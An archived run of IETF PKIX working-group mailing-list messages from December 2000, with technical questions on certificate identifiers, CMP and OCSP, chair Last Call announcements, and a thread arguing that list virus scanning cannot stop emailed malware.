> Tony Bartoletti 925-422-3881 <azb@llnl.gov>
> Information Operations, Warfare and Assurance Center
> Lawrence Livermore National Laboratory
> Livermore, CA 94551-9900

	Mike
-- 
 Michael H. Warfield    |  (770) 985-6132   |  mhw@WittsEnd.com
  (The Mad Wizard)      |  (678) 463-0932   |  http://www.wittsend.com/mhw/
  NIC whois:  MHW9      |  An optimist believes we live in the best of all
 PGP Key: 0xDF1DD471    |  possible worlds.  A pessimist is sure of it!


Received: from localhost.localdomain ([206.48.156.90]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id LAA27225 for <ietf-pkix@imc.org>; Tue, 19 Dec 2000 11:23:30 -0800 (PST)
Received: from jperez ([192.168.4.178]) by localhost.localdomain (8.9.3/8.9.3) with SMTP id QAA11179 for <ietf-pkix@imc.org>; Tue, 19 Dec 2000 16:24:26 -0500
Reply-To: <juancarlos.perez@acepta.com>
From: =?iso-8859-1?Q?Juan_Carlos_P=E9rez_Aguayo?= <juancarlos.perez@acepta.com>
To: "Ietf-Pkix" <ietf-pkix@imc.org>
Subject: Why don't using Permanent Identifier on QC certificates?
Date: Tue, 19 Dec 2000 16:25:30 -0400
Message-ID: <OMEPKMCLOLGHNMNOJKKIEEELCCAA.juancarlos.perez@acepta.com>
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400

In the QC draft is stated:

"...The serialNumber attribute type SHALL, when present, be used to
   differentiate between names where the subject field would otherwise
   be identical.  This attribute has no defined semantics beyond
   ensuring uniqueness of subject names.  It MAY contain a number or
   code assigned by the CA or an identifier assigned by a government or
   civil authority.  It is the CA's responsibility to ensure that the
   serialNumber is sufficient to resolve any subject name collisions..."

and on the Permanet Identifier drfat;
Sorry if this discussion has happened before, but I don't know if there are
some final statement:

"... A serialNumber attribute may be used for two
   different purposes in the DN of a person:

   1) In a DN or a SubjectAltName to differentiate between
      two names (for two different individuals) that otherwise
      would not be different.

   2) In the identifier field from a permanent identifier.
      This is the recommended use for national ID's and
      employee ID's, for example. ..."

Now, consider this:

a person has a unique identifier, assigned by a goverment authority, wich is
guaranteed to be unique on a national scope (country domain)

How to incorporate this identifier into a certificate?.

SerialNumber or SubjevctAltname field? When I read the QC profile
"..identifier assigned by a goverment o civil authority...", and then the PI
draft say "... This is recommended use for national ID's...", I am confused.

Why the QC does not use Permanent Identifier?

Thera are some application wich need incorporate this class of personal
identifier. By example, in my country (CHILE) each people ha an unique ID
stamped in a card (this card has the photography and handwritting too), and
this is broadly recognized for identification. One can to do many
transactions wich need this ID for proceed.

Thanks in advance

Juan Carlos Pérez A.
Acepta.com








Received: from mail.phaos.com ([206.30.74.234]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id KAA24044 for <ietf-pkix@imc.org>; Tue, 19 Dec 2000 10:34:43 -0800 (PST)
Received: from phaos_arik (ruskie.spacerat.com [207.51.38.135]) by mail.phaos.com (8.9.2/8.9.2) with ESMTP id RAA95826 for <ietf-pkix@imc.org>; Tue, 19 Dec 2000 17:34:48 -0500 (EST) (envelope-from arik@phaos.com)
Message-Id: <4.2.0.58.20001219134112.00c0a8b0@mail.phaos.com>
X-Sender: arik@mail.phaos.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 
Date: Tue, 19 Dec 2000 13:46:58 -0500
To: ietf-pkix@imc.org
From: Ari Kermaier <arik@phaos.com>
Subject: another CMP AltCertTemplate control question
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

The first paragraph of draft-ietf-pkix-rfc2510bis-02 Appendix D, where the 
AltCertTemplate control is defined, states:

	The following definitions are from rfc2511bis.  They are included here
	in order to codify behavioral clarifications to that request
	message; otherwise, all syntax and semantics are identical to rfc2511bis.

As far as I can see, the AltCertTemplate control is not mentioned anywhere 
in rfc2511bis, nor is it included in the ASN.1 module for rfc2510bis. Is 
this a sin of omission (missing from 2510bis) or of comission (maybe it 
shouldn't be in 2511bis either)?

Ari



Received: from mail02-lax.pilot.net (mail-lax-2.pilot.net [205.139.40.16]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id KAA23139 for <ietf-pkix@imc.org>; Tue, 19 Dec 2000 10:19:26 -0800 (PST)
Received: from mpaasecure.mpaa.org ([206.81.27.60]) by mail02-lax.pilot.net with SMTP id KAA08011 for <ietf-pkix@imc.org>; Tue, 19 Dec 2000 10:22:38 -0800 (PST)
Received: from 192.168.100.251 by mpaasecure.mpaa.org with ESMTP (MPAA SMTP Relay (MMS v4.7)); Tue, 19 Dec 2000 10:21:28 -0800
X-Server-Uuid: 24b67562-c6ec-11d4-9be5-00508bd8b3a9
Received: by MPAAMAIL with Internet Mail Service (5.5.2650.21) id <ZDGDW9RN>; Tue, 19 Dec 2000 10:22:25 -0800
Message-ID: <155ECDA31FA9D411999A00508BF7C0E002DAB5@MPAAMAIL>
From: "Dawson, Dave" <Dave_Dawson@mpaa.org>
To: ietf-pkix@imc.org
Subject: UNSUBSCRIBE
Date: Tue, 19 Dec 2000 10:22:24 -0800
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
X-WSS-ID: 162178A213017-01-01
Content-Type: text/plain;  charset=iso-8859-1
Content-Transfer-Encoding: 7bit

UNSUBSCRIBE



Received: from mail.phaos.com ([206.30.74.234]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id KAA22954 for <ietf-pkix@imc.org>; Tue, 19 Dec 2000 10:17:29 -0800 (PST)
Received: from phaos_arik (ruskie.spacerat.com [207.51.38.135]) by mail.phaos.com (8.9.2/8.9.2) with ESMTP id RAA95750 for <ietf-pkix@imc.org>; Tue, 19 Dec 2000 17:17:34 -0500 (EST) (envelope-from arik@phaos.com)
Message-Id: <4.2.0.58.20001219130653.00c0c660@mail.phaos.com>
X-Sender: arik@mail.phaos.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 
Date: Tue, 19 Dec 2000 13:29:42 -0500
To: ietf-pkix@imc.org
From: Ari Kermaier <arik@phaos.com>
Subject: CMP AltCertTemplate control questions
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

CMP (draft-ietf-pkix-rfc2510bis-02) Appendix D defines the following new 
control:

	id-regCtrl-altCertTemplate OBJECT IDENTIFIER ::= {id-regCtrl 7}
	AltCertTemplate ::= AttributeTypeAndValue

1) Is the complete (expanded) syntax of the control supposed to be

     SEQUENCE {id-regCtrl-altCertTemplate OBJECT IDENTIFIER,
         SEQUENCE {type OBJECT IDENTIFIER,
                 value ANY DEFINED BY type} }

and, if so, what OIDs are expected to be used here?

2) If this control is present and contains both the subject and public key, 
is a POPOSigningKey signature supposed to be calculated on the DER encoding 
of the entire control, or just the AttributeTypeAndValue payload of the 
control?

Ari



Received: from exchange.cylink.com (exchange.cylink.com [192.43.161.25]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id IAA16975 for <ietf-pkix@imc.org>; Tue, 19 Dec 2000 08:35:37 -0800 (PST)
Received: by exchange.cylink.com with Internet Mail Service (5.5.2650.21) id <YNA03BM9>; Tue, 19 Dec 2000 08:32:02 -0800
Message-ID: <1BE57AA01A5ED411866500B0D049657B42A593@exchange.cylink.com>
From: "Covey, Carlin" <ccovey@cylink.com>
To: "'Ambarish Malpani'" <ambarish@valicert.com>, "'Jonathan.Tuliani@symbian.com'" <Jonathan.Tuliani@symbian.com>, ietf-pkix@imc.org
Subject: RE: OCSP response authentication question
Date: Tue, 19 Dec 2000 08:32:02 -0800
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"

Ambarish and Jonathan,

Jonathan asked how to determine the authoritativeness of a 
signature over an OCSP response if that response provides status 
information for a chain of certificates.  I agree with your reply 
to Jonathan, but I'd like to add just one thought.

You indicated that the OCSP responder could
"...provide you with a consolidated response signed with a 
key that you trust (using direct trust)."

This direct trust could be based on the following interpretation of
Rule 1 ("Matches a local configuration of OCSP signing authority 
for the certificate in question; "):

The OCSP client could be locally configured to accept that an OCSP
responder that is designated as authoritative for the status
of a CA certificate is also authoritative for the status of
all certificates subordinate to that CA certificate.  This 
would handle the common usage case of a chain of certificates.

- Regards,

  Carlin Covey
  Cylink Corp.

-----Original Message-----
From: Ambarish Malpani [mailto:ambarish@valicert.com]
Sent: Monday, December 11, 2000 9:30 AM
To: 'Jonathan.Tuliani@symbian.com'; ietf-pkix@imc.org
Subject: RE: OCSP response authentication question



Hi Jonathan,
    The usage that you desire is quite correct and being used by
others.

It is perfectly reasonable to trust a single server and to send it
queries for the status of multiple certificates. If the server is
appropriately configured, it can go out to find the statuses of all
the certificates you are interested in and provide you with a
consolidated response signed with a key that you trust (using direct
trust).

If multiple CAs are willing to trust a single responder to provide
responses on their behalf, it is also possible for a single
responder to have multiple OCSP signing certificates issued by
multiple CAs. In this case, it is possible for you to get a single
response, signed by a single responder, but with multiple
certificates, indicating that the responder is authorized by
multiple CAs.

There is also a third possibility, where the client just queries all
the OCSP responders directly.

Hope this helps,
Regards,
Ambarish

---------------------------------------------------------------------
Ambarish Malpani
Architect                                                650.567.5457
ValiCert, Inc.                                  ambarish@valicert.com
339 N. Bernardo Ave.                          http://www.valicert.com
Mountain View, CA 94043


> -----Original Message-----
> From: Jonathan.Tuliani@symbian.com 
> [mailto:Jonathan.Tuliani@symbian.com]
> Sent: Monday, December 11, 2000 8:14 AM
> To: ietf-pkix@imc.org
> Subject: OCSP response authentication question
> 
> 
> Deal all,
> 
> We've been having a little trouble understanding how we 
> should be planning
> to authenticate our OCSP responses in the case where there is 
> more than one
> certificate from more than one issuer.  If anyone can help to 
> shed some
> light on this issue, we should be most grateful.  Details follow.
> 
> We're using the June 1999 edition of the OCSP spec, btw.
> 
> Suppose that a client wished to authenticate more than one 
> certificate.
> For example, suppose the client has a chain of certificates: 
> to validate
> the chain requires each certificate to be revocation checked.  It is
> possible to bundle all of these certificates into a single 
> OCSP request.
> Similarly, the OCSP response should be able to give us the 
> status for each
> certificate.
> 
> Our problem arises when trying to authenticate this response.  It is
> reasonable to suppose that the certificates in the request 
> could have been
> issued by a variety of different bodies.  Indeed, this is 
> likely to be so
> in the common usage scenario of validating a certificate 
> chain.  However,
> notice that the OCSP response has only a single signature.  
> This being the
> case, there is no way we can employ rules 2 or 3 under 
> section 4.2.2.2 of
> the OCSP spec - these specify that the response be signed 
> either directly
> by the certificate issuing CA, or contain an extendedKeyUsage 
> extension
> issued directly by the issuing CA.  This leaves rule 1, that 
> is that the
> response match a locally configured trusted responder.
> 
> Now suppose additionally that the OCSP server in question is 
> operating in
> the mode described in section 4.4.6 of the spec.  That is, 
> information is
> taken from AuthorityInfoAccess extensions in the certificates to form
> serviceLocator extensions, which are placed into the request as
> singleRequestExtensions.  The OCSP server uses these 
> extensions to direct
> the request to other servers known to be authoritative for 
> the certificate
> in question.  In our scenario, these serviceLocator extensions will be
> specifying several different authoritative servers.  We 
> suppose then that
> the original OCSP server must collate and authenticate these 
> responses,
> before compiling a single response valid for all 
> certificates, which it
> then signs and sends to the client.
> 
> We would be grateful if someone more familiar with the OCSP spec could
> confirm that what I have described is indeed a valid intended usage
> scenario.  In particular, we are concerned about the 
> authentication of the
> multiple responses that the OCSP server must perform before 
> producing the
> collated response.  Is it correct for the client to trust the 
> server with
> this task?
> 
> Best regards, and thanks in advance,
> 
> Jonathan
> -----------------------------
> Jonathan.Tuliani@Symbian.com
> www.symbian.com
> 


Received: from localhost.localdomain ([206.48.156.90]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id HAA12493 for <ietf-pkix@imc.org>; Tue, 19 Dec 2000 07:51:16 -0800 (PST)
Received: from jperez ([192.168.4.178]) by localhost.localdomain (8.9.3/8.9.3) with SMTP id MAA08472 for <ietf-pkix@imc.org>; Tue, 19 Dec 2000 12:52:08 -0500
Reply-To: <juancarlos.perez@acepta.com>
From: =?iso-8859-1?Q?Juan_Carlos_P=E9rez_Aguayo?= <juancarlos.perez@acepta.com>
To: "Ietf-Pkix" <ietf-pkix@imc.org>
Subject: How  I can obtain information on the discussions carried out in the 49th IETF-PKIX WG  meeting? 
Date: Tue, 19 Dec 2000 12:53:10 -0400
Message-ID: <OMEPKMCLOLGHNMNOJKKICEEGCCAA.juancarlos.perez@acepta.com>
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400

I am interested on several PKIX internet drafts (Permanent Identifier,
Qualified Certificates Profile and Attribute Certificates Profile) and I
need to know which are the main conclusions of the PKIX WG meeting.


Thanks in advance

-----------------------------
Juan Carlos Pérez A.
CTO
Acepta.com
juancarlos.perez@acepta.com
Tel.: +56 (2) 688 6499
Postal Code: 6520420




Received: from alcove.wittsend.com (IDENT:root@alcove.wittsend.com [130.205.0.20]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id HAA07968 for <ietf-pkix@imc.org>; Tue, 19 Dec 2000 07:21:21 -0800 (PST)
Received: (from mhw@localhost) by alcove.wittsend.com (8.9.3/8.9.3) id KAA21847; Tue, 19 Dec 2000 10:24:07 -0500
Date: Tue, 19 Dec 2000 10:24:06 -0500
From: "Michael H. Warfield" <mhw@wittsend.com>
To: Ilan Shacham <ilans@arx.com>
Cc: "'Tony Bartoletti'" <azb@llnl.gov>, ietf-pkix@imc.org
Subject: Re: Our Own Worst Enemy?
Message-ID: <20001219102406.A2182@alcove.wittsend.com>
References: <D51E45F5A88FD411B39700508BEEFF76070764@eliz.arx.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
User-Agent: Mutt/1.3.2i
In-Reply-To: <D51E45F5A88FD411B39700508BEEFF76070764@eliz.arx.com>; from ilans@arx.com on Tue, Dec 19, 2000 at 11:19:06AM +0200

On Tue, Dec 19, 2000 at 11:19:06AM +0200, Ilan Shacham wrote:
> True, But if the list engine included virus checking BEFORE sending
> the message to everyone in the list, we could solve this whole
> problem.

	No...

	<Minor Rant>

	No offense but what level of reality did you just come down off of?

	Virus checking HELPS (maybe) but it CAN'T "solve this whole
problem".  It can not, and will not, even in principle.  At worse, the
next time a virus slips through that it doesn't recognized or using
an encoding it doesn't recognize people will naturally assume that it
must be OK since it passed the virus filters.  (Been there, done that,
heard the sob stories.)

	Repeat after me...  Virus checking can NEVER prove something is
safe, it can GENERALLY indicate that something is PROBABLY dangerous
if not handled properly.  The virus scanner at my office keeps pissing
me off because I have to routinely handle cybertoxins like this and it
keeps filtering them out.  So they get zipped and encoded and encrypted
with all sorts of tricks to bypass the virus checker (HINT! HINT!).  Since
I run Linux and never use a mail program that allows active contect,
these things are pretty much safe for me to handle (And I want to thank
this list, I hadn't captured a sample of that macro worm yet.  :-) )

	On the mailing lists I run, we ban all HTML and most attachments,
PERIOD.  Even with the virus scanner front end, it is impossible to
keep up with the thousands of new viruses that are coming out, even if
we updated our signature files daily (assuming the anti-virus vendors
were updating daily).  The mailing lists get the double shield of blocking
any vehicle which can carry cybertoxins.  Ok...  Well...  Maybe not any.
We don't shield you if you are still vulnerable to the old ANSI bomb,
but there are things that are just TOO old to worry about.  :-)

	Over the last year, we have had a half a dozen virus incidents,
in spite of having ingress filtering on Unix, egress filtering on Unix,
and mailbox scanning on Exchange with multiple different virus scanners
and virus scanners on the individual NT workstations with centrally
managed signature files.

	The scanners are guarenteed to be always at least a little bit
out of date (look at how fast the "I love you" worm or explore.zip spred)
and the technology is not always well integrated (The virus scanner on
Exchange consistantly falls behind the spred of the toxin when one gets
that far).  When one of these incidents does occur, easily 2/3 of all
the victims fall back on the argument "well, I thought it was safe
because we have virus scanners, why did I get hit".  "Well, $#@$#@#@ DUH!
Why did you open the $#@$# thing?"

	It still remains a social problem and technology is not going
to protect fools who don't use common sense and run stupid shit.  In
this case, stupid shit consists of the entire domain of active content
in E-Mail and their potential carrier vehicles.

	Think about this now...  The latest spammer trick is to send
out HTML E-Mail with a "web bug".  That's a single pixel image that
points back to their web site.  Drop one of those on a mailing list
and you find out where people are reading the mailing list on.  You
also generally find out what their system type and browser type
is.  Get them to retrieve it by anonymous ftp, and you can also
reap a lot of E-Mail addresses.  Anyone who is reading E-Mail from a
mailing list with an HTML enabled reader or with active content enabled
or decided to just peek at that "greeting card" just out of curiosity,
is a DAMN FOOL.

	No...  Virus scanning is not the solution.  At best it's a leaky
bandaid that will cover some fools and trick other fools into thinking
they are safe.  Are the list managers then liable if their bandaid
doesn't cover what you think is enough and your system is corrupted by
something their filters let through?

	Application Programmer's Saying:  "Programming is a race between
Software Engineers who try to develop idiot proof programs and the
Universe which is trying to develop bigger and better idiots".

	Software Engineer's Saying:  "So far, the Universe is winning".

	</Minor Rant>

	If you want to do something effect then ban all mail on this list
containing HTML or HTML attachments, any Microsoft extensions (.doc, .exe,
.shs, .bat, .com, .xls...) or just plain block anything that is not
Mime type "plain/text" or simple text.  Then you might have a start at
covering the majority of possibilities.  It might even raise the quality
of the list.  :-)

> Ilan

> -----Original Message-----
> From: Tony Bartoletti [mailto:azb@llnl.gov]
> Sent: éåí ùðé 18 ãöîáø 2000 21:41
> To: ietf-pkix@imc.org
> Subject: Our Own Worst Enemy?
> 
> 
> This is fascinating, and just a bit depressing.
> 
> Simply email a virus to a public email discussion list, and watch it 
> transform into a mailbox-choking spam attack as every subscribing 
> organization's virus scanners echo their warnings back to the list.
> 
> :(
> 
> ___tony___
> 
> 
> Tony Bartoletti 925-422-3881 <azb@llnl.gov>
> Information Operations, Warfare and Assurance Center
> Lawrence Livermore National Laboratory
> Livermore, CA 94551-9900

	Mike
-- 
 Michael H. Warfield    |  (770) 985-6132   |  mhw@WittsEnd.com
  (The Mad Wizard)      |  (678) 463-0932   |  http://www.wittsend.com/mhw/
  NIC whois:  MHW9      |  An optimist believes we live in the best of all
 PGP Key: 0xDF1DD471    |  possible worlds.  A pessimist is sure of it!



Received: from email.nist.gov (email.nist.gov [129.6.2.7]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id GAA04898 for <ietf-pkix@imc.org>; Tue, 19 Dec 2000 06:58:45 -0800 (PST)
Received: from st25 (st25.ncsl.nist.gov [129.6.54.67]) by email.nist.gov (8.9.3/8.9.3) with ESMTP id KAA26094 for <ietf-pkix@imc.org>; Tue, 19 Dec 2000 10:01:56 -0500 (EST)
Message-Id: <4.2.0.58.20010119095009.01f74c50@email.nist.gov>
X-Sender: wpolk@email.nist.gov
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 
Date: Fri, 19 Jan 2001 09:58:34 -0500
To: ietf-pkix@imc.org
From: Tim Polk <tim.polk@nist.gov>
Subject: WG Last Call, PKI Repository Locator
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

This message announces Working Group Last Call for the Repository Locator 
Service Draft.  The specification is currently available at 
http://www.ietf.org/internet-drafts/draft-ietf-pkix-pkixrep-00.txt  The 
chairs plan to request Experimental status for this document.

As most of you know, there is no requirement for a WG Last Call for 
experimental RFCs.  However, this specification has been through only a 
single draft, and has drawn a very small number of comments.  I am hoping 
that a Last Call will prompt some of you to review the specification.

In my opinion, this specification addresses an important problem - disjoint 
certificate repositories (e.g., unrelated LDAP drectories.)  This 
specification is ahead of the product curve, so it would be appropriate to 
go to Experimental status.  As product and experience catches up, we can 
revisit this work

As the normal two weeks will include holiday vacations for many, Last Call 
will remain open through January 8, 2001.

Thanks,

Tim Polk 


Received: from email.nist.gov (email.nist.gov [129.6.2.7]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id GAA04890 for <ietf-pkix@imc.org>; Tue, 19 Dec 2000 06:58:45 -0800 (PST)
Received: from st25 (st25.ncsl.nist.gov [129.6.54.67]) by email.nist.gov (8.9.3/8.9.3) with ESMTP id KAA26090 for <ietf-pkix@imc.org>; Tue, 19 Dec 2000 10:01:56 -0500 (EST)
Message-Id: <4.2.0.58.20010119094641.01f15320@email.nist.gov>
X-Sender: wpolk@email.nist.gov
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 
Date: Fri, 19 Jan 2001 09:48:59 -0500
To: ietf-pkix@imc.org
From: Tim Polk <tim.polk@nist.gov>
Subject: WG Last Call, RFC 2510bis
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

This message announces Working Group Last Call for the updates to RFC 2510 
(CMP).  The specification is currently available at 
http://www.ietf.org/internet-drafts/draft-ietf-pkix-rfc2510bis-02.txt.  The 
chairs plan to request Draft Standard status for this document, based on 
its current status as a Proposed Standard and the interoperability testing 
Bob Moskowitz and the PKI Forum have performed.

As the normal two weeks will include holiday vacations for many, Last Call 
will remain open through January 8, 2001.

Thanks,

Tim Polk


Received: from email.nist.gov (email.nist.gov [129.6.2.7]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id GAA04886 for <ietf-pkix@imc.org>; Tue, 19 Dec 2000 06:58:44 -0800 (PST)
Received: from st25 (st25.ncsl.nist.gov [129.6.54.67]) by email.nist.gov (8.9.3/8.9.3) with ESMTP id KAA26083 for <ietf-pkix@imc.org>; Tue, 19 Dec 2000 10:01:55 -0500 (EST)
Message-Id: <4.2.0.58.20010119094359.01f72cb0@email.nist.gov>
X-Sender: wpolk@email.nist.gov
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 
Date: Fri, 19 Jan 2001 09:50:01 -0500
To: ietf-pkix@imc.org
From: Tim Polk <tim.polk@nist.gov>
Subject: WG Last Call, RFC 2511bis
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

This message announces Working Group Last Call for the updates to RFC 2511 
(CRMF).  The specification is currently available at 
http://www.ietf.org/internet-drafts/draft-ietf-pkix-rfc2511bis-00.txt. 
The chairs plan to request Draft Standard status for this document, based 
on its current status as a Proposed Standard and the interoperability 
testing Bob Moskowitz and the PKI Forum have performed.

As the normal two weeks will include holiday vacations for many, Last Call 
will remain open through January 8, 2001.

Thanks,

Tim Polk 


Received: from email.nist.gov (email.nist.gov [129.6.2.7]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id GAA04881 for <ietf-pkix@imc.org>; Tue, 19 Dec 2000 06:58:44 -0800 (PST)
Received: from st25 (st25.ncsl.nist.gov [129.6.54.67]) by email.nist.gov (8.9.3/8.9.3) with ESMTP id KAA26079 for <ietf-pkix@imc.org>; Tue, 19 Dec 2000 10:01:55 -0500 (EST)
Message-Id: <4.2.0.58.20001219093943.01f74d60@email.nist.gov>
X-Sender: wpolk@email.nist.gov
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 
Date: Fri, 19 Jan 2001 09:43:56 -0500
To: ietf-pkix@imc.org
From: Tim Polk <tim.polk@nist.gov>
Subject: WG Last Call, PKI Roadmap
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

This message announces Working Group Last Call for the PKIX Roadmap.  The 
specification is currently available at 
http://www.ietf.org/internet-drafts/draft-ietf-pkix-roadmap-06.txt.  The 
chairs plan to request Informational status for this document.

As the normal two weeks will include holiday vacations for many, Last Call 
will remain open through January 8, 2001.

Thanks,

Tim Polk


Received: from email.nist.gov (email.nist.gov [129.6.2.7]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id GAA03540 for <ietf-pkix@imc.org>; Tue, 19 Dec 2000 06:40:58 -0800 (PST)
Received: from st25 (st25.ncsl.nist.gov [129.6.54.67]) by email.nist.gov (8.9.3/8.9.3) with ESMTP id JAA14442 for <ietf-pkix@imc.org>; Tue, 19 Dec 2000 09:44:09 -0500 (EST)
Message-Id: <4.2.0.58.20001219092316.01f73150@email.nist.gov>
X-Sender: wpolk@email.nist.gov
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 
Date: Tue, 19 Dec 2000 09:39:39 -0500
To: ietf-pkix@imc.org
From: Tim Polk <tim.polk@nist.gov>
Subject: Out Of Scope (WAS: Thin PKI won - You lost)
In-Reply-To: <D51E45F5A88FD411B39700508BEEFF76070764@eliz.arx.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

Folks,

This is an extremely busy working group.  We currently have twenty 
Internet-Drafts.  To complete some of these documents, we need a mailing 
list where people are making positive contributions to the process.

Unfortunately, a large percentage of the bandwidth has been consumed of 
late by threads that are way out of scope.  There are so many off-topic 
posts that the serious posts tend to go to unnoticed.

This is the mailing list for the "Public Key Infrastructure Using X.509" 
working group, not the SPKI/XML Certificate/etc.. working group.  Our 
charter is "developing Internet standards needed to support an X.509-based 
PKI".  (For those that have not read it, you will find this document at 
http://www.ietf.org/html.charters/pkix-charter.html).

A submission to this list is appropriate if

#1 the message contains a constructive comment or a question regarding  one 
of our twenty I-Ds!  (And, no, "start over with XML" is not a constructive 
comment.)

#2 the message discusses possible new standardization efforts "needed to 
support an X.509-based PKI".

If the message does not satisfy #1 or #2 it is *OUT OF SCOPE*.  If you have 
something to say about topics that are not within the working group's 
scope, you should take them to another list.  If you wish to have a debate, 
send personal email.  The rest of the group does not need to watch; it is 
inconsiderate to consume our bandwidth with your time on the soap box.

If a message appears on the list, and you feel it is out of scope, please 
either (a) ignore the posting, or (b) respond directly.  Let's get the list 
moving again, so we can complete some of our current work items.

Thank You,

Tim "The Grinch" Polk


Received: from ar_exchange.arx.com (eliz.arx.com [212.25.66.95]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id BAA11936 for <ietf-pkix@imc.org>; Tue, 19 Dec 2000 01:48:21 -0800 (PST)
Received: by eliz.arx.com with Internet Mail Service (5.5.2650.21) id <Z1QFG5FF>; Tue, 19 Dec 2000 11:19:07 +0200
Message-ID: <D51E45F5A88FD411B39700508BEEFF76070764@eliz.arx.com>
From: Ilan Shacham <ilans@arx.com>
To: "'Tony Bartoletti'" <azb@llnl.gov>
Cc: ietf-pkix@imc.org
Subject: RE: Our Own Worst Enemy?
Date: Tue, 19 Dec 2000 11:19:06 +0200
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ns.secondary.com id BAA11966

True, But if the list engine included virus checking BEFORE sending
the message to everyone in the list, we could solve this whole
problem.

Ilan

-----Original Message-----
From: Tony Bartoletti [mailto:azb@llnl.gov]
Sent: éåí ùðé 18 ãöîáø 2000 21:41
To: ietf-pkix@imc.org
Subject: Our Own Worst Enemy?


This is fascinating, and just a bit depressing.

Simply email a virus to a public email discussion list, and watch it 
transform into a mailbox-choking spam attack as every subscribing 
organization's virus scanners echo their warnings back to the list.

:(

___tony___


Tony Bartoletti 925-422-3881 <azb@llnl.gov>
Information Operations, Warfare and Assurance Center
Lawrence Livermore National Laboratory
Livermore, CA 94551-9900


Received: from sottmxs02.entrust.com (gatekeeper.entrust.com [204.101.128.170]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id OAA01312 for <ietf-pkix@imc.org>; Mon, 18 Dec 2000 14:31:54 -0800 (PST)
Received: by sottmxs02.entrust.com with Internet Mail Service (5.5.2650.21) id <XJNARA3F>; Mon, 18 Dec 2000 17:34:38 -0500
Message-ID: <DD62792EA182FF4E99C2FBC07E3053BD053EED@sottmxs09.entrust.com>
From: Carlisle Adams <carlisle.adams@entrust.com>
To: "'Margus Freudenthal'" <margus@cyber.ee>
Cc: PKIX list <ietf-pkix@imc.org>
Subject: RE: CMP question
Date: Mon, 18 Dec 2000 17:35:19 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C06942.CD48EB40"

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C06942.CD48EB40
Content-Type: text/plain

Hi Margus,

> ----------
> From: 	Margus Freudenthal[SMTP:margus@cyber.ee]
> Sent: 	Monday, December 18, 2000 6:13 AM
> To: 	Carlisle Adams
> Cc: 	PKIX list
> Subject: 	Re: CMP question
> 
> Hello.
> 
> > Carlisle Adams wrote:
> > 
> > If "the sending party needs to know that (a particular) receiver has
> > really got and understood the message", then the sender should use
> > some mechanism other than a broadcast announcement to achieve this.
> 
> In that case, what CMP message should be used for sending "personal"
> announcements which require confirmation receipts?
 
That sort of facility is not in the currently-specified CMP messages.  A new
genMsg / genRep pair would have to be defined to accommodate this.

I have to admit, however, that (to me) the words "personal" and
"announcement" don't seem to go that well together.  I think that most
people associate the concept of an "announcement" with several recipients,
each of whom may or may not send any kind of response.

Carlisle.


------_=_NextPart_001_01C06942.CD48EB40
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Dus-ascii">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2652.35">
<TITLE>RE: CMP question</TITLE>
</HEAD>
<BODY>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New Roman">Hi =
Margus,</FONT>
</P>
<UL>
<P><FONT SIZE=3D2 FACE=3D"MS Sans Serif">----------</FONT>
<BR><B><FONT SIZE=3D2 FACE=3D"MS Sans Serif">From:</FONT></B> &nbsp; =
